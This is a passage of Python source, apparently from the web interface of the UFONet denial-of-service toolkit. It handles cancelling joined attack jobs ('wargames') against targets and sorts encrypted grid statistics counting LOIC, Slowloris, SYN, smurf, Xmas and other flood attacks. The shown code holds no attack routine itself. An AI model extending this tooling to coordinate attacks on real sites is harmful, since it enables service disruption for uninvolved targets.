  3082. job_id = job_params.rsplit(sep, 1)[0]
  3083. except:
  3084. job_id = ""
  3085. if job_id is not "":
  3086. self.list_wargames.reverse()
  3087. try:
  3088. job_task = self.list_wargames[(int(job_id)-1)]
  3089. f = open(self.wargames_file,"r")
  3090. ls = f.readlines()
  3091. f.close()
  3092. f = open(self.wargames_file,"w")
  3093. for l in ls:
  3094. if str(l) != str(job_task):
  3095. f.write(l)
  3096. else:
  3097. sep = "#-#"
  3098. job_t2 = job_task.rsplit(sep, 1)[0]
  3099. job_creation = job_t2.rsplit(sep, 1)[0]
  3100. job_target = job_t2.rsplit(sep, 1)[1]
  3101. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  3102. job_estimated = job_task.rsplit(sep, 1)[1]
  3103. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  3104. f.write(l)
  3105. f.close()
  3106. except:
  3107. pass
  3108. if page == "/cmd_job_cancel_update":
  3109. if not os.path.exists('/tmp/out'):
  3110. open('/tmp/out', 'w').close()
  3111. with open('/tmp/out', 'r') as f:
  3112. self.pages["/cmd_job_cancel_update"] = "<pre>"+f.read()+"<pre>"
  3113. if page == "/cmd_job_cancel_all":
  3114. self.pages["/cmd_job_cancel_all"] = "<pre>Canceling ALL -JOINED- wargames from your list...</pre>"
  3115. try:
  3116. self.list_wargames.reverse()
  3117. f = open(self.wargames_file,"r")
  3118. ls = f.readlines()
  3119. f.close()
  3120. f = open(self.wargames_file,"w")
  3121. sep = "#-#"
  3122. for l in ls:
  3123. job_t2 = l.rsplit(sep, 1)[0]
  3124. job_creation = job_t2.rsplit(sep, 1)[0]
  3125. job_target = job_t2.rsplit(sep, 1)[1]
  3126. job_target = job_target.replace("!!!","") # undo target marked as job (unjob)
  3127. job_estimated = l.rsplit(sep, 1)[1]
  3128. l = str(job_creation) + "#-#" + str(job_target) + "#-#" + str(job_estimated)
  3129. f.write(l)
  3130. f.close()
  3131. except:
  3132. pass
  3133. if page == "/cmd_job_cancel_all_update":
  3134. if not os.path.exists('/tmp/out'):
  3135. open('/tmp/out', 'w').close()
  3136. with open('/tmp/out', 'r') as f:
  3137. self.pages["/cmd_job_cancel_all_update"] = "<pre>"+f.read()+"<pre>"
  3138. if page == "/cmd_job_filter":
  3139. try:
  3140. job_filter = pGet["filter"]
  3141. job_key = pGet["key"]
  3142. except:
  3143. job_filter = "creation"
  3144. job_key = str(self.crypto_key)
  3145. self.pages["/cmd_job_filter"] = "<pre>Ordering wargames by: "+job_filter+"</pre>"
  3146. nodec_text = "KEY?"
  3147. try:
  3148. wargames_items=[]
  3149. f = open(self.wargames_file,"r")
  3150. ls = f.readlines()
  3151. f.close()
  3152. f = open(self.wargames_file,"w")
  3153. for j in ls:
  3154. if wargames_msg_sep in j:
  3155. m = j.split(wargames_msg_sep)
  3156. wargames_creation = m[0] # creation date
  3157. self.decrypt(job_key, wargames_creation)
  3158. if self.decryptedtext:
  3159. wargames_creation = self.decryptedtext
  3160. else:
  3161. wargames_creation = nodec_text
  3162. self.decryptedtext = "" # clean decryptedtext buffer
  3163. wargames_target = m[1] # target
  3164. self.decrypt(job_key, wargames_target)
  3165. if self.decryptedtext:
  3166. wargames_target = self.decryptedtext
  3167. if wargames_target.startswith("www."):
  3168. wargames_target = wargames_target.replace("www.","")
  3169. else:
  3170. wargames_target = nodec_text
  3171. self.decryptedtext = "" # clean decryptedtext buffer
  3172. wargames_estimated = m[2] # estimated date
  3173. self.decrypt(job_key, wargames_estimated)
  3174. if self.decryptedtext:
  3175. wargames_estimated = self.decryptedtext
  3176. else:
  3177. wargames_estimated = nodec_text
  3178. self.decryptedtext = "" # clean decryptedtext buffer
  3179. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  3180. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  3181. wargames_items.append([wargames_creation,wargames_target,wargames_estimated])
  3182. if job_filter == "creation":
  3183. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  3184. elif job_filter == "target":
  3185. wargames_items=sorted(wargames_items,key=lambda x:x[1]) # sorted by target
  3186. elif job_filter == "estimated":
  3187. wargames_items=sorted(wargames_items,key=lambda x:x[2]) # sorted by estimated
  3188. else:
  3189. wargames_items=sorted(wargames_items,key=lambda x:x[0]) # sorted by creation
  3190. for i in wargames_items:
  3191. wargames_creation = i[0]
  3192. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  3193. self.encrypt(job_key, wargames_creation)
  3194. if self.encryptedtext:
  3195. wargames_creation = self.encryptedtext
  3196. self.encryptedtext = "" # clean encryptedtext buffer
  3197. wargames_target = str(i[1])
  3198. self.encrypt(job_key, wargames_target)
  3199. if self.encryptedtext:
  3200. wargames_target = self.encryptedtext
  3201. self.encryptedtext = "" # clean encryptedtext buffer
  3202. wargames_estimated = i[2]
  3203. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  3204. self.encrypt(job_key, wargames_estimated)
  3205. if self.encryptedtext:
  3206. wargames_estimated = self.encryptedtext
  3207. self.encryptedtext = "" # clean encryptedtext buffer
  3208. l = str(wargames_creation) + "#-#" + str(wargames_target) + "#-#" + str(wargames_estimated)
  3209. f.write(l + os.linesep)
  3210. f.close()
  3211. except:
  3212. pass
  3213. if page == "/cmd_job_filter_update":
  3214. if not os.path.exists('/tmp/out'):
  3215. open('/tmp/out', 'w').close()
  3216. with open('/tmp/out', 'r') as f:
  3217. self.pages["/cmd_job_filter_update"] = "<pre>"+f.read()+"<pre>"
  3218. if page == "/cmd_grid_filter":
  3219. try:
  3220. grid_filter = pGet["filter"]
  3221. grid_key = pGet["key"]
  3222. except:
  3223. grid_filter = "missions" # default grid order by
  3224. grid_key = str(self.crypto_key)
  3225. self.pages["/cmd_grid_filter"] = "<pre>Ordering grid by: "+grid_filter+"</pre>"
  3226. nodec_text = "KEY?"
  3227. nodec_num = 0
  3228. try:
  3229. grid_items=[]
  3230. f = open(self.grid_file,"r")
  3231. ls = f.readlines()
  3232. f.close()
  3233. f = open(self.grid_file,"w")
  3234. for j in ls:
  3235. if grid_msg_sep in j:
  3236. version = j.count(grid_msg_sep) # check UFONet stream version (10->0.9|11->1.0|12->1.1|13->1.2)
  3237. m = j.split(grid_msg_sep)
  3238. grid_nickname = m[0] # nickname
  3239. self.decrypt(grid_key, grid_nickname)
  3240. if self.decryptedtext:
  3241. grid_nickname = str(self.decryptedtext)
  3242. else:
  3243. grid_nickname = nodec_text
  3244. self.decryptedtext = "" # clean decryptedtext buffer
  3245. grid_ranking = m[1] # ranking
  3246. self.decrypt(grid_key, grid_ranking)
  3247. if self.decryptedtext:
  3248. try:
  3249. grid_ranking = int(self.decryptedtext)
  3250. except:
  3251. grid_ranking = nodec_num
  3252. else:
  3253. grid_ranking = nodec_num
  3254. self.decryptedtext = "" # clean decryptedtext buffer
  3255. grid_totalchargo = m[2] # total chargo
  3256. self.decrypt(grid_key, grid_totalchargo)
  3257. if self.decryptedtext:
  3258. try:
  3259. grid_totalchargo = int(self.decryptedtext)
  3260. except:
  3261. grid_totalchargo = nodec_num
  3262. else:
  3263. grid_totalchargo = nodec_num
  3264. self.decryptedtext = "" # clean decryptedtext buffer
  3265. grid_dorking = m[3] # dorking
  3266. self.decrypt(grid_key, grid_dorking)
  3267. if self.decryptedtext:
  3268. try:
  3269. grid_dorking = int(self.decryptedtext)
  3270. except:
  3271. grid_dorking = nodec_num
  3272. else:
  3273. grid_dorking = nodec_num
  3274. self.decryptedtext = "" # clean decryptedtext buffer
  3275. grid_transferred = m[4] # transferred
  3276. self.decrypt(grid_key, grid_transferred)
  3277. if self.decryptedtext:
  3278. try:
  3279. grid_transferred = int(self.decryptedtext)
  3280. except:
  3281. grid_transferred = nodec_num
  3282. else:
  3283. grid_transferred = nodec_num
  3284. self.decryptedtext = "" # clean decryptedtext buffer
  3285. grid_maxchargo = m[5] # maxchargo
  3286. self.decrypt(grid_key, grid_maxchargo)
  3287. if self.decryptedtext:
  3288. try:
  3289. grid_maxchargo = int(self.decryptedtext)
  3290. except:
  3291. grid_maxchargo = nodec_num
  3292. else:
  3293. grid_maxchargo = nodec_num
  3294. self.decryptedtext = "" # clean decryptedtext buffer
  3295. grid_missions = m[6] # missions
  3296. self.decrypt(grid_key, grid_missions)
  3297. if self.decryptedtext:
  3298. try:
  3299. grid_missions = int(self.decryptedtext)
  3300. except:
  3301. grid_missions = nodec_num
  3302. else:
  3303. grid_missions = nodec_num
  3304. self.decryptedtext = "" # clean decryptedtext buffer
  3305. grid_attacks = m[7] # attacks
  3306. self.decrypt(grid_key, grid_attacks)
  3307. if self.decryptedtext:
  3308. try:
  3309. grid_attacks = int(self.decryptedtext)
  3310. except:
  3311. grid_attacks = nodec_num
  3312. else:
  3313. grid_attacks = nodec_num
  3314. self.decryptedtext = "" # clean decryptedtext buffer
  3315. grid_loic = m[8] # loic
  3316. self.decrypt(grid_key, grid_loic)
  3317. if self.decryptedtext:
  3318. try:
  3319. grid_loic = int(self.decryptedtext)
  3320. except:
  3321. grid_loic = nodec_num
  3322. else:
  3323. grid_loic = nodec_num
  3324. if version > 16: # v1.3
  3325. grid_loris = m[9] # loris
  3326. self.decrypt(grid_key, grid_loris)
  3327. if self.decryptedtext:
  3328. try:
  3329. grid_loris = int(self.decryptedtext)
  3330. except:
  3331. grid_loris = nodec_num
  3332. else:
  3333. grid_loris = nodec_num
  3334. self.decryptedtext = "" # clean decryptedtext buffer
  3335. grid_ufosyn = m[10] # ufosyn
  3336. self.decrypt(grid_key, grid_ufosyn)
  3337. if self.decryptedtext:
  3338. try:
  3339. grid_ufosyn = int(self.decryptedtext)
  3340. except:
  3341. grid_ufosyn = nodec_num
  3342. else:
  3343. grid_ufosyn = nodec_num
  3344. self.decryptedtext = "" # clean decryptedtext buffer
  3345. grid_spray = m[11] # spray
  3346. self.decrypt(grid_key, grid_spray)
  3347. if self.decryptedtext:
  3348. try:
  3349. grid_spray = int(self.decryptedtext)
  3350. except:
  3351. grid_spray = nodec_num
  3352. else:
  3353. grid_spray = nodec_num
  3354. self.decryptedtext = "" # clean decryptedtext buffer
  3355. grid_smurf = m[12] # smurf
  3356. self.decrypt(grid_key, grid_smurf)
  3357. if self.decryptedtext:
  3358. try:
  3359. grid_smurf = int(self.decryptedtext)
  3360. except:
  3361. grid_smurf = nodec_num
  3362. else:
  3363. grid_smurf = nodec_num
  3364. self.decryptedtext = "" # clean decryptedtext buffer
  3365. grid_xmas = m[13] # xmas
  3366. self.decrypt(grid_key, grid_xmas)
  3367. if self.decryptedtext:
  3368. try:
  3369. grid_xmas = int(self.decryptedtext)
  3370. except:
  3371. grid_xmas = nodec_num
  3372. else:
  3373. grid_xmas = nodec_num
  3374. self.decryptedtext = "" # clean decryptedtext buffer
  3375. grid_nuke = m[14] # nuke
  3376. self.decrypt(grid_key, grid_nuke)
  3377. if self.decryptedtext:
  3378. try:
  3379. grid_nuke = int(self.decryptedtext)
  3380. except:
  3381. grid_nuke = nodec_num
  3382. else:
  3383. grid_nuke = nodec_num
  3384. self.decryptedtext = "" # clean decryptedtext buffer
  3385. grid_tachyon = m[15] # tachyon
  3386. self.decrypt(grid_key, grid_tachyon)
  3387. if self.decryptedtext:
  3388. try:
  3389. grid_tachyon = int(self.decryptedtext)
  3390. except:
  3391. grid_tachyon = nodec_num
  3392. else:
  3393. grid_tachyon = nodec_num
  3394. self.decryptedtext = "" # clean decryptedtext buffer
  3395. grid_contact = m[16] # contact
  3396. self.decrypt(grid_key, grid_contact)
  3397. if self.decryptedtext:
  3398. grid_contact = self.decryptedtext
  3399. else:
  3400. grid_contact = nodec_text
  3401. self.decryptedtext = "" # clean decryptedtext buffer
  3402. grid_id = m[17] # id
  3403. elif version == 16: # v1.2.1
  3404. grid_loris = m[9] # loris
  3405. self.decrypt(grid_key, grid_loris)
  3406. if self.decryptedtext:
  3407. try:
  3408. grid_loris = int(self.decryptedtext)
  3409. except:
  3410. grid_loris = nodec_num
  3411. else:
  3412. grid_loris = nodec_num
  3413. self.decryptedtext = "" # clean decryptedtext buffer
  3414. grid_ufosyn = m[10] # ufosyn
  3415. self.decrypt(grid_key, grid_ufosyn)
  3416. if self.decryptedtext:
  3417. try:
  3418. grid_ufosyn = int(self.decryptedtext)
  3419. except:
  3420. grid_ufosyn = nodec_num
  3421. else:
  3422. grid_ufosyn = nodec_num
  3423. self.decryptedtext = "" # clean decryptedtext buffer
  3424. grid_spray = m[11] # spray
  3425. self.decrypt(grid_key, grid_spray)
  3426. if self.decryptedtext:
  3427. try:
  3428. grid_spray = int(self.decryptedtext)
  3429. except:
  3430. grid_spray = nodec_num
  3431. else:
  3432. grid_spray = nodec_num
  3433. self.decryptedtext = "" # clean decryptedtext buffer
  3434. grid_smurf = m[12] # smurf
  3435. self.decrypt(grid_key, grid_smurf)
  3436. if self.decryptedtext:
  3437. try:
  3438. grid_smurf = int(self.decryptedtext)
  3439. except:
  3440. grid_smurf = nodec_num
  3441. else:
  3442. grid_smurf = nodec_num
  3443. self.decryptedtext = "" # clean decryptedtext buffer
  3444. grid_xmas = m[13] # xmas
  3445. self.decrypt(grid_key, grid_xmas)
  3446. if self.decryptedtext:
  3447. try:
  3448. grid_xmas = int(self.decryptedtext)
  3449. except:
  3450. grid_xmas = nodec_num
  3451. else:
  3452. grid_xmas = nodec_num
  3453. self.decryptedtext = "" # clean decryptedtext buffer
  3454. grid_nuke = m[14] # nuke
  3455. self.decrypt(grid_key, grid_nuke)
  3456. if self.decryptedtext:
  3457. try:
  3458. grid_nuke = int(self.decryptedtext)
  3459. except:
  3460. grid_nuke = nodec_num
  3461. else:
  3462. grid_nuke = nodec_num
  3463. self.decryptedtext = "" # clean decryptedtext buffer
  3464. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  3465. self.decrypt(grid_key, grid_tachyon)
  3466. if self.decryptedtext:
  3467. try:
  3468. grid_tachyon = int(self.decryptedtext)
  3469. except:
  3470. grid_tachyon = nodec_num
  3471. else:
  3472. grid_tachyon = nodec_num
  3473. self.decryptedtext = "" # clean decryptedtext buffer
  3474. grid_contact = m[15] # contact
  3475. self.decrypt(grid_key, grid_contact)
  3476. if self.decryptedtext:
  3477. grid_contact = self.decryptedtext
  3478. else:
  3479. grid_contact = nodec_text
  3480. self.decryptedtext = "" # clean decryptedtext buffer
  3481. grid_id = m[16] # id
  3482. elif version == 15: # v1.2
  3483. grid_loris = m[9] # loris
  3484. self.decrypt(grid_key, grid_loris)
  3485. if self.decryptedtext:
  3486. try:
  3487. grid_loris = int(self.decryptedtext)
  3488. except:
  3489. grid_loris = nodec_num
  3490. else:
  3491. grid_loris = nodec_num
  3492. self.decryptedtext = "" # clean decryptedtext buffer
  3493. grid_ufosyn = m[10] # ufosyn
  3494. self.decrypt(grid_key, grid_ufosyn)
  3495. if self.decryptedtext:
  3496. try:
  3497. grid_ufosyn = int(self.decryptedtext)
  3498. except:
  3499. grid_ufosyn = nodec_num
  3500. else:
  3501. grid_ufosyn = nodec_num
  3502. self.decryptedtext = "" # clean decryptedtext buffer
  3503. grid_spray = m[11] # spray
  3504. self.decrypt(grid_key, grid_spray)
  3505. if self.decryptedtext:
  3506. try:
  3507. grid_spray = int(self.decryptedtext)
  3508. except:
  3509. grid_spray = nodec_num
  3510. else:
  3511. grid_spray = nodec_num
  3512. self.decryptedtext = "" # clean decryptedtext buffer
  3513. grid_smurf = m[12] # smurf
  3514. self.decrypt(grid_key, grid_smurf)
  3515. if self.decryptedtext:
  3516. try:
  3517. grid_smurf = int(self.decryptedtext)
  3518. except:
  3519. grid_smurf = nodec_num
  3520. else:
  3521. grid_smurf = nodec_num
  3522. self.decryptedtext = "" # clean decryptedtext buffer
  3523. grid_xmas = m[13] # xmas
  3524. self.decrypt(grid_key, grid_xmas)
  3525. if self.decryptedtext:
  3526. try:
  3527. grid_xmas = int(self.decryptedtext)
  3528. except:
  3529. grid_xmas = nodec_num
  3530. else:
  3531. grid_xmas = nodec_num
  3532. self.decryptedtext = "" # clean decryptedtext buffer
  3533. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  3534. self.decrypt(grid_key, grid_nuke)
  3535. if self.decryptedtext:
  3536. try:
  3537. grid_nuke = int(self.decryptedtext)
  3538. except:
  3539. grid_nuke = nodec_num
  3540. else:
  3541. grid_nuke = nodec_num
  3542. self.decryptedtext = "" # clean decryptedtext buffer
  3543. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  3544. self.decrypt(grid_key, grid_tachyon)
  3545. if self.decryptedtext:
  3546. try:
  3547. grid_tachyon = int(self.decryptedtext)
  3548. except:
  3549. grid_tachyon = nodec_num
  3550. else:
  3551. grid_tachyon = nodec_num
  3552. self.decryptedtext = "" # clean decryptedtext buffer
  3553. grid_contact = m[14] # contact
  3554. self.decrypt(grid_key, grid_contact)
  3555. if self.decryptedtext:
  3556. grid_contact = self.decryptedtext
  3557. else:
  3558. grid_contact = nodec_text
  3559. self.decryptedtext = "" # clean decryptedtext buffer
  3560. grid_id = m[15] # id
  3561. elif version == 12: # v1.1
  3562. grid_loris = m[9] # loris
  3563. self.decrypt(grid_key, grid_loris)
  3564. if self.decryptedtext:
  3565. try:
  3566. grid_loris = int(self.decryptedtext)
  3567. except:
  3568. grid_loris = nodec_num
  3569. else:
  3570. grid_loris = nodec_num
  3571. self.decryptedtext = "" # clean decryptedtext buffer
  3572. grid_ufosyn = m[10] # ufosyn
  3573. self.decrypt(grid_key, grid_ufosyn)
  3574. if self.decryptedtext:
  3575. try:
  3576. grid_ufosyn = int(self.decryptedtext)
  3577. except:
  3578. grid_ufosyn = nodec_num
  3579. else:
  3580. grid_ufosyn = nodec_num
  3581. self.decryptedtext = "" # clean decryptedtext buffer
  3582. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  3583. self.decrypt(grid_key, grid_spray)
  3584. if self.decryptedtext:
  3585. try:
  3586. grid_spray = int(self.decryptedtext)
  3587. except:
  3588. grid_spray = nodec_num
  3589. else:
  3590. grid_spray = nodec_num
  3591. self.decryptedtext = "" # clean decryptedtext buffer
  3592. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  3593. self.decrypt(grid_key, grid_smurf)
  3594. if self.decryptedtext:
  3595. try:
  3596. grid_smurf = int(self.decryptedtext)
  3597. except:
  3598. grid_smurf = nodec_num
  3599. else:
  3600. grid_smurf = nodec_num
  3601. self.decryptedtext = "" # clean decryptedtext buffer
  3602. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  3603. self.decrypt(grid_key, grid_xmas)
  3604. if self.decryptedtext:
  3605. try:
  3606. grid_xmas = int(self.decryptedtext)
  3607. except:
  3608. grid_xmas = nodec_num
  3609. else:
  3610. grid_xmas = nodec_num
  3611. self.decryptedtext = "" # clean decryptedtext buffer
  3612. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  3613. self.decrypt(grid_key, grid_nuke)
  3614. if self.decryptedtext:
  3615. try:
  3616. grid_nuke = int(self.decryptedtext)
  3617. except:
  3618. grid_nuke = nodec_num
  3619. else:
  3620. grid_nuke = nodec_num
  3621. self.decryptedtext = "" # clean decryptedtext buffer
  3622. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  3623. self.decrypt(grid_key, grid_tachyon)
  3624. if self.decryptedtext:
  3625. try:
  3626. grid_tachyon = int(self.decryptedtext)
  3627. except:
  3628. grid_tachyon = nodec_num
  3629. else:
  3630. grid_tachyon = nodec_num
  3631. self.decryptedtext = "" # clean decryptedtext buffer
  3632. grid_contact = m[11] # contact
  3633. self.decrypt(grid_key, grid_contact)
  3634. if self.decryptedtext:
  3635. grid_contact = self.decryptedtext
  3636. else:
  3637. grid_contact = nodec_text
  3638. self.decryptedtext = "" # clean decryptedtext buffer
  3639. grid_id = m[12] # id
  3640. elif version == 11: # v1.0
  3641. grid_loris = m[9] # loris
  3642. self.decrypt(grid_key, grid_loris)
  3643. if self.decryptedtext:
  3644. try:
  3645. grid_loris = int(self.decryptedtext)
  3646. except:
  3647. grid_loris = nodec_num
  3648. else:
  3649. grid_loris = nodec_num
  3650. self.decryptedtext = "" # clean decryptedtext buffer
  3651. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  3652. self.decrypt(grid_key, grid_ufosyn)
  3653. if self.decryptedtext:
  3654. try:
  3655. grid_ufosyn = int(self.decryptedtext)
  3656. except:
  3657. grid_ufosyn = nodec_num
  3658. else:
  3659. grid_ufosyn = nodec_num
  3660. self.decryptedtext = "" # clean decryptedtext buffer
  3661. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  3662. self.decrypt(grid_key, grid_spray)
  3663. if self.decryptedtext:
  3664. try:
  3665. grid_spray = int(self.decryptedtext)
  3666. except:
  3667. grid_spray = nodec_num
  3668. else:
  3669. grid_spray = nodec_num
  3670. self.decryptedtext = "" # clean decryptedtext buffer
  3671. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  3672. self.decrypt(grid_key, grid_smurf)
  3673. if self.decryptedtext:
  3674. try:
  3675. grid_smurf = int(self.decryptedtext)
  3676. except:
  3677. grid_smurf = nodec_num
  3678. else:
  3679. grid_smurf = nodec_num
  3680. self.decryptedtext = "" # clean decryptedtext buffer
  3681. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  3682. self.decrypt(grid_key, grid_xmas)
  3683. if self.decryptedtext:
  3684. try:
  3685. grid_xmas = int(self.decryptedtext)
  3686. except:
  3687. grid_xmas = nodec_num
  3688. else:
  3689. grid_xmas = nodec_num
  3690. self.decryptedtext = "" # clean decryptedtext buffer
  3691. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  3692. self.decrypt(grid_key, grid_nuke)
  3693. if self.decryptedtext:
  3694. try:
  3695. grid_nuke = int(self.decryptedtext)
  3696. except:
  3697. grid_nuke = nodec_num
  3698. else:
  3699. grid_nuke = nodec_num
  3700. self.decryptedtext = "" # clean decryptedtext buffer
  3701. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  3702. self.decrypt(grid_key, grid_tachyon)
  3703. if self.decryptedtext:
  3704. try:
  3705. grid_tachyon = int(self.decryptedtext)
  3706. except:
  3707. grid_tachyon = nodec_num
  3708. else:
  3709. grid_tachyon = nodec_num
  3710. self.decryptedtext = "" # clean decryptedtext buffer
  3711. grid_contact = m[10] # contact
  3712. self.decrypt(grid_key, grid_contact)
  3713. if self.decryptedtext:
  3714. grid_contact = self.decryptedtext
  3715. else:
  3716. grid_contact = nodec_text
  3717. self.decryptedtext = "" # clean decryptedtext buffer
  3718. grid_id = m[11] # id
  3719. elif version == 10: # v0.9
  3720. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not loris present
  3721. self.decrypt(grid_key, grid_loris)
  3722. if self.decryptedtext:
  3723. try:
  3724. grid_loris = int(self.decryptedtext)
  3725. except:
  3726. grid_loris = nodec_num
  3727. else:
  3728. grid_loris = nodec_num
  3729. self.decryptedtext = "" # clean decryptedtext buffer
  3730. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not ufosyn present
  3731. self.decrypt(grid_key, grid_ufosyn)
  3732. if self.decryptedtext:
  3733. try:
  3734. grid_ufosyn = int(self.decryptedtext)
  3735. except:
  3736. grid_ufosyn = nodec_num
  3737. else:
  3738. grid_ufosyn = nodec_num
  3739. self.decryptedtext = "" # clean decryptedtext buffer
  3740. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not spray present
  3741. self.decrypt(grid_key, grid_spray)
  3742. if self.decryptedtext:
  3743. try:
  3744. grid_spray = int(self.decryptedtext)
  3745. except:
  3746. grid_spray = nodec_num
  3747. else:
  3748. grid_spray = nodec_num
  3749. self.decryptedtext = "" # clean decryptedtext buffer
  3750. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not smurf present
  3751. self.decrypt(grid_key, grid_smurf)
  3752. if self.decryptedtext:
  3753. try:
  3754. grid_smurf = int(self.decryptedtext)
  3755. except:
  3756. grid_smurf = nodec_num
  3757. else:
  3758. grid_smurf = nodec_num
  3759. self.decryptedtext = "" # clean decryptedtext buffer
  3760. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not xmas present
  3761. self.decrypt(grid_key, grid_xmas)
  3762. if self.decryptedtext:
  3763. try:
  3764. grid_xmas = int(self.decryptedtext)
  3765. except:
  3766. grid_xmas = nodec_num
  3767. else:
  3768. grid_xmas = nodec_num
  3769. self.decryptedtext = "" # clean decryptedtext buffer
  3770. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not nuke present
  3771. self.decrypt(grid_key, grid_nuke)
  3772. if self.decryptedtext:
  3773. try:
  3774. grid_nuke = int(self.decryptedtext)
  3775. except:
  3776. grid_nuke = nodec_num
  3777. else:
  3778. grid_nuke = nodec_num
  3779. self.decryptedtext = "" # clean decryptedtext buffer
  3780. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==") # not tachyon present
  3781. self.decrypt(grid_key, grid_tachyon)
  3782. if self.decryptedtext:
  3783. try:
  3784. grid_tachyon = int(self.decryptedtext)
  3785. except:
  3786. grid_tachyon = nodec_num
  3787. else:
  3788. grid_tachyon = nodec_num
  3789. self.decryptedtext = "" # clean decryptedtext buffer
  3790. grid_contact = m[9] # contact
  3791. self.decrypt(grid_key, grid_contact)
  3792. if self.decryptedtext:
  3793. grid_contact = self.decryptedtext
  3794. else:
  3795. grid_contact = nodec_text
  3796. self.decryptedtext = "" # clean decryptedtext buffer
  3797. grid_id = m[10] # id
  3798. else: # no valid version
  3799. pass
  3800. grid_items.append([str(grid_nickname),int(grid_ranking),int(grid_totalchargo),int(grid_dorking),int(grid_transferred),int(grid_maxchargo),int(grid_missions),int(grid_attacks),int(grid_loic),int(grid_loris),int(grid_ufosyn),int(grid_spray),int(grid_smurf),int(grid_xmas),int(grid_nuke),int(grid_tachyon),str(grid_contact),str(grid_id)])
  3801. if grid_filter == "nickname":
  3802. grid_items=sorted(grid_items,key=lambda x:x[0]) # sorted by nickname
  3803. elif grid_filter == "ranking":
  3804. grid_items=sorted(grid_items,key=lambda x:x[1]) # sorted by ranking
  3805. elif grid_filter == "chargo":
  3806. grid_items=sorted(grid_items,key=lambda x:x[2]) # sorted by totalchargo
  3807. elif grid_filter == "dorking":
  3808. grid_items=sorted(grid_items,key=lambda x:x[3]) # sorted by dorking
  3809. elif grid_filter == "transferred":
  3810. grid_items=sorted(grid_items,key=lambda x:x[4]) # sorted by transferred
  3811. elif grid_filter == "maxchargo":
  3812. grid_items=sorted(grid_items,key=lambda x:x[5]) # sorted by maxchargo
  3813. elif grid_filter == "missions":
  3814. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions
  3815. elif grid_filter == "attacks":
  3816. grid_items=sorted(grid_items,key=lambda x:x[7]) # sorted by attacks
  3817. elif grid_filter == "loic":
  3818. grid_items=sorted(grid_items,key=lambda x:x[8]) # sorted by loic
  3819. elif grid_filter == "loris":
  3820. grid_items=sorted(grid_items,key=lambda x:x[9]) # sorted by loris
  3821. elif grid_filter == "ufosyn":
  3822. grid_items=sorted(grid_items,key=lambda x:x[10]) # sorted by ufosyn
  3823. elif grid_filter == "spray":
  3824. grid_items=sorted(grid_items,key=lambda x:x[11]) # sorted by spray
  3825. elif grid_filter == "smurf":
  3826. grid_items=sorted(grid_items,key=lambda x:x[12]) # sorted by smurf
  3827. elif grid_filter == "xmas":
  3828. grid_items=sorted(grid_items,key=lambda x:x[13]) # sorted by xmas
  3829. elif grid_filter == "nuke":
  3830. grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by nuke
  3831. elif grid_filter == "tachyon":
  3832. grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by tachyon
  3833. elif grid_filter == "contact":
  3834. grid_items=sorted(grid_items,key=lambda x:x[16]) # sorted by contact
  3835. else:
  3836. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
  3837. for i in grid_items:
  3838. grid_nickname = str(i[0])
  3839. self.encrypt(grid_key, grid_nickname)
  3840. if self.encryptedtext:
  3841. grid_nickname = self.encryptedtext
  3842. self.encryptedtext = "" # clean encryptedtext buffer
